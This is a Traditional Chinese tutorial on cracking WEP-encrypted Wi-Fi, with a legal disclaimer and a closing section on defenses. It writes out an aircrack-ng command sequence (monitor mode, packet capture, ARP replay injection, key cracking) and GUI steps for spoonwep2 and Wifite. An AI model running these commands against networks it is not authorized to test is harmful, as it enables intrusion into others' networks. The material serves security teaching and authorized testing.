⚠️ 法律聲明： 本文內容僅供資安教學、授權滲透測試、學術研究之用。未經網路擁有者明確書面授權，嘗試破解、連接、竊取他人無線網路資料均屬違法 (刑法第 359 條、資通安全管理法等)，一切法律後果由操作者自負。 請勿用於任何非法用途。

---

前言：為何只講 WEP？

WEP (Wired Equivalent Privacy) 採用 RC4 流式密碼 + 24-bit IV，存在嚴重設計缺陷 (FMS 攻擊、KoreK 攻擊、PTW 攻擊)，現代工具可在分鐘級破解。WPA/WPA2/WPA3 使用 AES-CCMP/SAE，目前無實用級離線破解手段 (除非密碼極弱可字典攻擊)。保護網路請務必停用 WEP，改用 WPA2-AES 或 WPA3。

實驗環境準備

1. 目標 AP： 自行架設之 WEP 加密 AP (合法授權環境)
2. 攻擊機： 筆電/上網本 + 支援監聽模式/注入的無線網卡 (Atheros AR9271, Realtek RTL8812AU, Intel 5300 等)
3. 作業系統： Kali Linux (現代替代 BackTrack)，內建 aircrack-ng 套件
4. 工具： airmon-ng, airodump-ng, aireplay-ng, aircrack-ng (CLI) 或 Wifite, Fern WiFi Cracker (GUI)

註： BackTrack 3 (2008) 已停止維護，現代實務請使用 Kali Linux 2024.x，驅動支援更完善、工具鏈更新。

標準破解流程 (CLI 版，教學用)

# 1. 介面卡進入監聽模式
sudo airmon-ng check kill
sudo airmon-ng start wlan0          # 產生 wlan0mon

# 2. 掃描目標 AP
sudo airodump-ng wlan0mon
# 記下目標 BSSID、Channel、ESSID

# 3. 鎖定目標抓封包 (需捕獲足夠 IVs)
sudo airodump-ng -c  --bssid  -w capture wlan0mon

# 4. (可選) 強制產生流量加速 IVs 收集
sudo aireplay-ng -3 -b  -h  wlan0mon  # ARP Replay 攻擊

# 5. 離線破解
sudo aircrack-ng -b  capture-01.cap
# PTW 攻擊預設啟動，通常 20,000-30,000 IVs 即可破解 104-bit WEP

spoonwep2 (GUI) 操作對應步驟 (歷史參考)

1. BT3 啟動 → 選 VESA mode
2. 選單：BackTrack → Radio Network Analysis → 802.11 → All → spoonwep2
3. 設定介面、晶片類型、掃描模式 → Next
4. 掃描視窗點 LAUNCH → 選取目標 AP → Selection OK
5. 自動抓包破解，約 8 分鐘、2-3 萬 IVs 顯示密鑰

現代替代： Wifite (自動化腳本) 一鍵完成掃描、去認證、ARP Replay、破解全流程。

防禦對策：徹底淘汰 WEP

• 路由器/AP 設定：僅啟用 WPA2-AES (CCMP) 或 WPA3-SAE
• 企業環境：WPA2-Enterprise / WPA3-Enterprise (802.1X + RADIUS + 憑證)
• 定期滲透測試驗證無 WEP 殘留、無弱密碼
• 部署 WIPS (無線入侵防禦系統) 偵測異常認證/去認證攻擊

理解破解原理，是為了建立更強防禦。請將知識用於守護，而非侵害。